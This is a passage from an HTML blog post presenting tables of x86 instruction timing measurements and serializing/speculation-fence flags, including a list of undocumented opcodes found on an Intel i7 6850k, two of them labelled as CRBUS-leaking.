&lt;td&gt;52&lt;/td&gt;
&lt;td&gt;93&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f77&lt;/td&gt;
&lt;td class="dec"&gt;emms&lt;/td&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;td&gt;111&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0fa1&lt;/td&gt;
&lt;td class="dec"&gt;pop fs&lt;/td&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0fa390&lt;/td&gt;
&lt;td class="dec"&gt;bt dword ptr [rax-0x6f6f6f70], edx&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="ellipsis"&gt;&lt;td colspan="6"&gt;⋯&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f0082&lt;/td&gt;
&lt;td class="dec"&gt;sldt word ptr [rdx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f0088&lt;/td&gt;
&lt;td class="dec"&gt;str word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f0006&lt;/td&gt;
&lt;td class="dec"&gt;sldt word ptr [rsi]&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f000a&lt;/td&gt;
&lt;td class="dec"&gt;str word ptr [rdx]&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f0180&lt;/td&gt;
&lt;td class="dec"&gt;sgdt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;89&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f018a&lt;/td&gt;
&lt;td class="dec"&gt;sidt ptr [rdx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f01a1&lt;/td&gt;
&lt;td class="dec"&gt;smsw word ptr [rcx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f010f&lt;/td&gt;
&lt;td class="dec"&gt;sidt ptr [rdi]&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f0126&lt;/td&gt;
&lt;td class="dec"&gt;smsw word ptr [rsi]&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f0140&lt;/td&gt;
&lt;td class="dec"&gt;sgdt ptr [rax-0x70]&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;89&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30faed0&lt;/td&gt;
&lt;td class="dec"&gt;wrfsbase eax&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30faed8&lt;/td&gt;
&lt;td class="dec"&gt;wrgsbase eax&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30faec0&lt;/td&gt;
&lt;td class="dec"&gt;rdfsbase eax&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30faec8&lt;/td&gt;
&lt;td class="dec"&gt;rdgsbase eax&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fb391&lt;/td&gt;
&lt;td class="dec"&gt;btr dword ptr [rcx-0x6f6f6f70], edx&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fb39f&lt;/td&gt;
&lt;td class="dec"&gt;btr dword ptr [rdi-0x6f6f6f70], ebx&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fbb92&lt;/td&gt;
&lt;td class="dec"&gt;btc dword ptr [rdx-0x6f6f6f70], edx&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fbb94&lt;/td&gt;
&lt;td class="dec"&gt;btc dword ptr [rax+rdx*4-0x6f6f6f70], edx&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fc789&lt;/td&gt;
&lt;td class="dec"&gt;cmpxchg8b qword ptr [rcx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;95&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fc78f&lt;/td&gt;
&lt;td class="dec"&gt;cmpxchg8b qword ptr [rdi-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;95&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p class="tbl-caption"&gt;Yet these do not:&lt;/p&gt;
&lt;table class="isa-table"&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th&gt;index&lt;/th&gt;&lt;th&gt;decoding&lt;/th&gt;&lt;th&gt;mits&lt;/th&gt;&lt;th&gt;ms&lt;/th&gt;&lt;th&gt;serializing&lt;/th&gt;&lt;th&gt;speculationFence&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt; &lt;td class="idx"&gt;6c&lt;/td&gt;
&lt;td class="dec"&gt;insb&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;112&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;6d&lt;/td&gt;
&lt;td class="dec"&gt;insd&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;99&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;6e&lt;/td&gt;
&lt;td class="dec"&gt;outsb&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;98&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;6f&lt;/td&gt;
&lt;td class="dec"&gt;outsd&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;98&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;8e90&lt;/td&gt;
&lt;td class="dec"&gt;mov ss, word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;9d&lt;/td&gt;
&lt;td class="dec"&gt;popfq&lt;/td&gt;
&lt;td&gt;55&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;c290&lt;/td&gt;
&lt;td class="dec"&gt;ret 0x9090&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;107&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;c3&lt;/td&gt;
&lt;td class="dec"&gt;ret&lt;/td&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;106&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;c890&lt;/td&gt;
&lt;td class="dec"&gt;enter 0x9090, 0x90&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;93&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;ca90&lt;/td&gt;
&lt;td class="dec"&gt;ret far 0x9090&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;145&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cb&lt;/td&gt;
&lt;td class="dec"&gt;ret far&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;145&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cc&lt;/td&gt;
&lt;td class="dec"&gt;int3&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;94&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cd90&lt;/td&gt;
&lt;td class="dec"&gt;int 0x90&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;91&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cf&lt;/td&gt;
&lt;td class="dec"&gt;iretd&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;136&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e190&lt;/td&gt;
&lt;td class="dec"&gt;loope 0xffffffffffffff92&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e490&lt;/td&gt;
&lt;td class="dec"&gt;in al, 0x90&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e590&lt;/td&gt;
&lt;td class="dec"&gt;in eax, 0x90&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e690&lt;/td&gt;
&lt;td class="dec"&gt;out 0x90, al&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e790&lt;/td&gt;
&lt;td class="dec"&gt;out 0x90, eax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;ec&lt;/td&gt;
&lt;td class="dec"&gt;in al, dx&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;ed&lt;/td&gt;
&lt;td class="dec"&gt;in eax, dx&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;ee&lt;/td&gt;
&lt;td class="dec"&gt;out dx, al&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;ef&lt;/td&gt;
&lt;td class="dec"&gt;out dx, eax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f1&lt;/td&gt;
&lt;td class="dec"&gt;int1&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;112&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f390&lt;/td&gt;
&lt;td class="dec"&gt;pause&lt;/td&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f4&lt;/td&gt;
&lt;td class="dec"&gt;hlt&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;124&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;fd&lt;/td&gt;
&lt;td class="dec"&gt;std&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0090&lt;/td&gt;
&lt;td class="dec"&gt;lldt word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;93&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0098&lt;/td&gt;
&lt;td class="dec"&gt;ltr word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00a0&lt;/td&gt;
&lt;td class="dec"&gt;verr word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;91&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00a8&lt;/td&gt;
&lt;td class="dec"&gt;verw word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;91&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00d0&lt;/td&gt;
&lt;td class="dec"&gt;lldt ax&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;91&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00d8&lt;/td&gt;
&lt;td class="dec"&gt;ltr ax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;108&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="ellipsis"&gt;&lt;td colspan="6"&gt;⋯&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00e0&lt;/td&gt;
&lt;td class="dec"&gt;verr ax&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;90&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00e8&lt;/td&gt;
&lt;td class="dec"&gt;verw ax&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;90&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0190&lt;/td&gt;
&lt;td class="dec"&gt;lgdt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;94&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0198&lt;/td&gt;
&lt;td class="dec"&gt;lidt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;94&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01b0&lt;/td&gt;
&lt;td class="dec"&gt;lmsw word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01b8&lt;/td&gt;
&lt;td class="dec"&gt;invlpg byte ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;114&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01d1&lt;/td&gt;
&lt;td class="dec"&gt;xsetbv&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;117&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01d2&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01d4&lt;/td&gt;
&lt;td class="dec"&gt;vmfunc&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2193&lt;/td&gt;
&lt;td class="dec"&gt;mov rbx, dr2&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;107&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="0x-some-of-the-interesting-results"&gt;0x&lt;img src="images/0.gif" alt=""&gt;: Some of the interesting results&lt;/h2&gt;
&lt;p&gt;Here is the full list of undocumented easter-egg instructions my i7 6850k comes with:&lt;/p&gt;
&lt;table class="isa-table"&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th&gt;index&lt;/th&gt;&lt;th&gt;decoding&lt;/th&gt;&lt;th&gt;mits&lt;/th&gt;&lt;th&gt;ms&lt;/th&gt;&lt;th&gt;serializing&lt;/th&gt;&lt;th&gt;speculationFence&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01d2&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01c6&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01cc&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;104&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;0f0c90&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;138&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="CRBUS leaking instruction (90 is the next NOP)"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;0f0e&lt;/td&gt;
&lt;td class="dec"&gt;femms&lt;/td&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;td&gt;101&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="CRBUS leaking instruction"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0faed0&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0fc790&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;660f3883&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;81&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;660f3860&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;660f3a80&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f7890&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
